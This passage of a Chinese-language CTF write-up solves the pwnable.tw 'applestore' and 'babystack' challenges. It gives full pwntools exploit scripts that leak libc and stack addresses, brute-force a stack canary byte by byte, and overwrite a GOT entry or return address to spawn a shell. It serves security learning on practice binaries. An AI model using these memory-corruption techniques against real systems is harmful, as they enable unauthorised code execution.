offset` * 這裡的 offset 為 `input_choice` 與 ebp 的距離 * 再利用 `my_read` 將其改寫為 `system()` ```python=1 from pwn import * DEBUG_MODE = True elf = ELF('./applestore') libc = ELF('/lib32/libc.so.6') # Host ENVIRON_OFFSET = 0x124 # Host def add(num): p.sendafter('>', str('2')) p.sendafter('Number>', num) def delete(payload): p.sendafter('>', str('3')) p.sendafter('Number>', payload) def cart(payload): p.sendafter('>', str('4')) p.sendafter('(y/n) >', payload) def checkout(): p.sendafter('>', str('5')) p.sendafter('(y/n) >', 'y') def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./applestore') else: p = remote("chall.pwnable.tw", 10104) libc = ELF('./libc_32.so.6') # Add iphone8 for i in range(14): add('2') for i in range(10): add('1') add('3') add('3') checkout() # Leak glibc addr payload = b'y\x00' + p32(elf.got['puts']) + p32(0) * 3 cart(payload) p.recvuntil('27: ') libc.address = u32(p.read(4)) - libc.sym['puts'] # Leak stack addr payload = b'y\x00' + p32(libc.sym['environ']) + p32(0) * 3 cart(payload) p.recvuntil('27: ') ebp_addr = u32(p.read(4)) - ENVIRON_OFFSET # Change GOT[atoi] to ebp # name price next prev payload = b'27' + p32(elf.got['atoi']) + p32(0) + p32(ebp_addr - 0x0c) + p32(elf.got['atoi'] + 0x22) delete(payload) # RCE p.sendafter('>', p32(libc.sym['system']) + b';/bin/sh\x00') p.interactive() ``` * 執行後可以看到成功取得 shell * ![image.png](https://hackmd.io/_uploads/SyQVfO-Qp.png) --- * 遠端的部分需要修改幾個地方 * ENVIRON_OFFSET 會改變 * ~~我可能得找個時間研究 elfpatch~~ * 搞定了,請查看最上面`環境`的部分 * 更換之後確實 offset 改為 `0x104` 了 * 另外一點是 `system(';/bin/sh\x00')` 會無法使用 * 改為 `'||/bin/sh'` 就好了 * 最後腳本 ```python=1 from pwn import * DEBUG_MODE = False elf = ELF('./applestore') libc = ELF('/lib32/libc.so.6') # Host ENVIRON_OFFSET = 0x124 # Host def add(num): p.sendafter('>', str('2')) p.sendafter('Number>', num) def delete(payload): p.sendafter('>', str('3')) p.sendafter('Number>', payload) def cart(payload): p.sendafter('>', str('4')) p.sendafter('(y/n) >', payload) def checkout(): p.sendafter('>', str('5')) p.sendafter('(y/n) >', 'y') def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./applestore') else: p = remote("chall.pwnable.tw", 10104) libc = ELF('./libc_32.so.6') ENVIRON_OFFSET = 0x104 # Add iphone8 for i in range(14): add('2') for i in range(10): add('1') add('3') add('3') checkout() # Leak glibc addr payload = b'y\x00' + p32(elf.got['puts']) + p32(0) * 3 cart(payload) p.recvuntil('27: ') libc.address = u32(p.read(4)) - libc.sym['puts'] # Leak stack addr payload = b'y\x00' + p32(libc.sym['environ']) + p32(0) * 3 cart(payload) p.recvuntil('27: ') ebp_addr = u32(p.read(4)) - ENVIRON_OFFSET # Change GOT[atoi] to ebp # name price next prev payload = b'27' + p32(elf.got['atoi']) + p32(0) + p32(ebp_addr - 0x0c) + p32(elf.got['atoi'] + 0x22) delete(payload) # RCE p.sendafter('>', p32(libc.sym['system']) + b'||/bin/sh') p.interactive() ``` * Ref * https://blog.srikavin.me/posts/pwnable-tw-applestore/ * https://www.cnblogs.com/sweetbaby/p/15546220.html ## babystack ### Recon * 先使用 pathelf 把提供的 libc 更換上去 * 記得是 64-bits 的程式,ld 也要用 64-bits 的 * 執行一下程式 * 沒有 menu,直接要求輸入 * `1` 的話會要求輸入密碼 * `2` 會離開程式 * 換 Ghidra 分析 * 程式被 stripped,從 entry 找到 `main` * `main` 的開頭先讀了 Linux 中產生亂數的檔案並儲存起來 * 接著印出 `'>'` 的字串後讀 `0x10` 的輸入 * 如果輸入開頭是 `1`,進入 `login` * 如果是 `2`,離開程式 * 如果是 `3`,進入 `copy` * `login` 的參數為最開始讀入的 random * 讀入 `0x7f` 的輸入 `input_pwd`,輸入長度為 `n` * 比較 `input_pwd` 與 random 參數的前 `n` 個字是否一樣,一樣的話將 `DAT_login` 設為 `1` * 離開程式時,如果 `DAT_login` 為 `1` 才會觸發 `return`,否則直接 `exit` * return 之前會檢查 random 是否被修改過,如果被修改過則發生錯誤 * 使用 random 作為 canary 的概念 * 如果 `DAT_login` 為 `1` 才能進入 `copy` * 傳入的參數為 `copy_dest`,是一個 `char *` * 先讀入 `0x3f` 的輸入,再使用 `strcpy` 將輸入複製到參數中 ### 漏洞利用 * 第一步我們得先想辦法成功 login,否則什麼也不能做 * 要 login 很簡單,由於只比較輸入字串的長度,因此直接輸入空字串或是使用 `\x00` 截斷字串就能繞過判斷 * ![image.png](https://hackmd.io/_uploads/r1Ogk0Nma.png) * 登入成功後就可以使用 `copy`,那這個 function 要如何利用呢 * 首先,我們得知道 `strcpy` 會直接把整個 source 的內容複製到 copy,即便 dest 空間不夠 * ![image.png](https://hackmd.io/_uploads/HyZUhySQ6.png) * 然而 `copy_dest` 空間有 `64(0x40)`,copy 時只能讀入 `0x3f` 的資料,看起來似乎無法造成 overflow * 但仔細觀察 copy 和 login 兩個 function,可以發現兩者接收輸入的地方在 stack 中與 ebp 的 offset 是一樣的 * `input_pwd` 與 `str` * ![image.png](https://hackmd.io/_uploads/rkIuKVUXa.png) * 再加上兩個 function 都位於 `main` 的下一層,因此兩者位於 stack 是同樣的位址 * 因此我們可以在登入時預寫資料,而在 copy 時將預寫的資料複製過去,造成 overflow * 舉個例子,先使用 `\x00 + a*99` 等等的 payload 進行登入,在 copy 時隨便使用 `b` 進行複製,就會讓 `copy_dest` 後面的資料被蓋成一堆 `a` * 因此我們可以從 `copy_dest` 一路覆蓋掉 main 的 return address * 以下是一個驗證腳本,證明我們有能力覆蓋掉 `random` 導致密碼改變 ```python=1 from pwn import * DEBUG_MODE = True elf = ELF('./babystack') libc = ELF('./libc_64.so.6') def setgdb(filename : str): p = process(['./ld-2.23.so', filename], env={'LD_PRELOAD':'./libc_64.so.6'}) #p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./babystack') else: p = remote("chall.pwnable.tw", 10205) # Login p.sendafter('>', '1') p.sendafter('Your passowrd :', b'\x00' + b'a' * 87) # Copy p.sendafter('>', '3') p.sendafter('Copy :', b'a') # Logout p.sendafter('>', '1') # Login p.sendafter('>', '1') p.sendafter('Your passowrd :', b'aaaaa\n') # Login Success ! p.interactive() ``` --- * 我們現在有能力造成 overflow,但我們仍需要解決兩個問題 1. 洩漏 libc address,使我們能夠 return to one_gadget 2. 洩漏 random,使我們 copy 時不會修改到 canary --- * 先解決 random 的問題,因為比較單純 * 回去看一下 login 可以發現,比較的長度是根據使用者輸入而改變 * ![image.png](https://hackmd.io/_uploads/BJhEis8Xa.png) * 因此能夠利用 `0x00` 作截斷,一次只比較一個 byte,而不比較整個 random * 那麼我們就能夠使用逐字爆破法,一個一個 byte 將整個 `random` 爆出來 * remote 可能就得跑一陣子 ```python=1 from pwn import * DEBUG_MODE = True elf = ELF('./babystack') libc = ELF('./libc_64.so.6') def leak(msg = b'', leak_size = 0): for i in range(leak_size): j = 1 while(1): p.sendafter('>', '1') p.sendafter('Your passowrd :', msg + j.to_bytes(1, 'big') + b'\x00') if(b'Login Success !' in p.recvuntil('!')): msg = msg + j.to_bytes(1, 'big') p.sendafter('>', '1') break else: j += 1 return msg def setgdb(filename : str): p = process(['./ld-2.23.so', filename], env={'LD_PRELOAD':'./libc_64.so.6'}) #p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./babystack') else: p = remote("chall.pwnable.tw", 10205) password = leak(b'', 0x10) p.sendafter('>', '1') p.sendafter('Your passowrd :', password) # Login Success ! p.interactive() ``` --- * libc address 的部分,我們可以看看 stack 上是否存在可利用的 libc function address,想辦法洩漏出來之後再算出 offset * 我將 GDB 設斷點在 `strcpy` 的地方,以下是 stack 的樣子 * ![image.png](https://hackmd.io/_uploads/rkBoVjIm6.png) * 可以看到 stack+0x58 的地方有個 `0x007ffff7878439 → <_IO_file_setbuf+9>`,看起來就很像是 libc 中的 function address * 這邊可以做點驗證 * 我們知道 `libc_addr + _IO_file_setbuf_offset + 9` = `_IO_file_setbuf_addr + 9` * 從上圖可以知道 `_IO_file_setbuf_addr + 9` = `0x007ffff7878439` * 使用 vmmap 看到 `libc_addr` = `0x007ffff7800000` * ![image.png](https://hackmd.io/_uploads/SJTNSi87T.png) * 然後利用 pwntools `print(hex(libc.sym['_IO_file_setbuf']))` 可以得到 `_IO_file_setbuf_offset` = `0x78430` * ![image.png](https://hackmd.io/_uploads/rkFHKjU7a.png) * 帶回去式子成立,代表的確利用該 function address 可以算出 libc_address * ![image.png](https://hackmd.io/_uploads/B1CKKjUQp.png) * 我們現在知道 libc_addr 可以利用 stack 中的資料取得了,問題是該如何 leak 出來 * 再回去看一下 login 可以發現,比較的長度是根據使用者輸入而沒有針對 `random` 去做 `0x10` 的上限控管 * ![image.png](https://hackmd.io/_uploads/BJhEis8Xa.png) * 因此使用者輸入即便超過了 `0x10`,依然會將 stack 上 `random` 後面的資料作為密碼繼續比較 * 而我們可以利用 copy 將前面的資料全部覆蓋成 `a`,順便將想要 leak 的資料 copy 到 `main` 的 stack 上面 * 然後到要洩漏的資料時再一樣使用逐字爆破把資料印出 ```python=1 from pwn import * DEBUG_MODE = True elf = ELF('./babystack') libc = ELF('./libc_64.so.6') def leak(msg = b'', leak_size = 0): ans = b'' for i in range(leak_size): j = 1 while(1): p.sendafter('>>', '1') p.sendafter('Your passowrd :', msg + ans + j.to_bytes(1, 'big') + b'\x00') if(b'Login Success !' in p.recvuntil('!')): ans = ans + j.to_bytes(1, 'big') p.sendafter('>>', '1') break else: j += 1 return ans def setgdb(filename : str): p = process(['./ld-2.23.so', filename], env={'LD_PRELOAD':'./libc_64.so.6'}) #p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./babystack') else: p = remote("chall.pwnable.tw", 10205) # Leak random(canary) password = leak(b'', 0x10) # Overflow stack p.sendafter('>>', '1') p.sendafter('Your passowrd :', b'\x00' + b'a' * (0x48 - 1)) p.sendafter('>>', '3') p.sendafter('Copy :', 'a') # Leak libc address p.sendafter('>>', '1') leak_addr = leak(b'a' * (0x48 - 0x40), 6) libc_addr = u64(leak_addr + b'\x00\x00') - libc.sym['_IO_file_setbuf'] - 0x09 print(hex(libc_addr)) p.interactive() ``` --- * 最後一步,我們需要再次使用 copy 的功能,將 leak 出來的 random 覆蓋回去,並且一路蓋到 return address 的地方,將 one_gadget address 蓋回去,即可拿到 shell * `main` stack 布置 * copy_dest: 第一格 `0x00`,剩餘隨意 `0x40` * random: leak 出來的值放回去 `0x10` * padding: 隨意 `0x18` * target addr: one_gadget address ```python=1 from pwn import * DEBUG_MODE = False elf = ELF('./babystack') libc = ELF('./libc_64.so.6') def leak(msg = b'', leak_size = 0): ans = b'' for i in range(leak_size): j = 1 while(1): p.sendafter('>>', '1') p.sendafter('Your passowrd :', msg + ans + j.to_bytes(1, 'big') + b'\x00') if(b'Login Success !' in p.recvuntil('!')): ans = ans + j.to_bytes(1, 'big') p.sendafter('>>', '1') break else: j += 1 return ans def setgdb(filename : str): p = process(['./ld-2.23.so', filename], env={'LD_PRELOAD':'./libc_64.so.6'}) #p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./babystack') else: p = remote("chall.pwnable.tw", 10205) context.log_level = 'debug' # Leak random(canary) password = leak(b'', 0x10) # Overflow stack p.sendafter('>>', '1') p.sendafter('Your passowrd :', b'\x00' + b'a' * (0x48 - 1)) p.sendafter('>>', '3') p.sendafter('Copy :', 'a') # Leak libc address p.sendafter('>>', '1') leak_addr = leak(b'a' * (0x48 - 0x40), 6) libc_addr = u64(leak_addr + b'\x00\x00') - libc.sym['_IO_file_setbuf'] - 0x09 print(hex(libc_addr)) one_gadget = libc_addr + 0xf0567 # Overflow return address p.sendafter('>>', '1') p.sendafter('Your passowrd :', b'\x00' + b'a' * 0x3f + password + b'b' * 0x18 + p64(one_gadget)) p.sendafter('>>', '3') p.sendafter('Copy :', 'a') p.interactive() ``` * 值得注意的是,如果逐字爆破時遇到原本的值就等於 `0x00` 的話就會爆破失敗,因此有可能需要多跑幾次腳本 * 再加上遠端測試的時間差,可能整個跑完要五到十分鐘 * 整個跑完後再輸入 `2` 觸發 return 即可得到 shell * ![image.png](https://hackmd.io/_uploads/SyqLKOvXT.png) ###### tags: `CTF`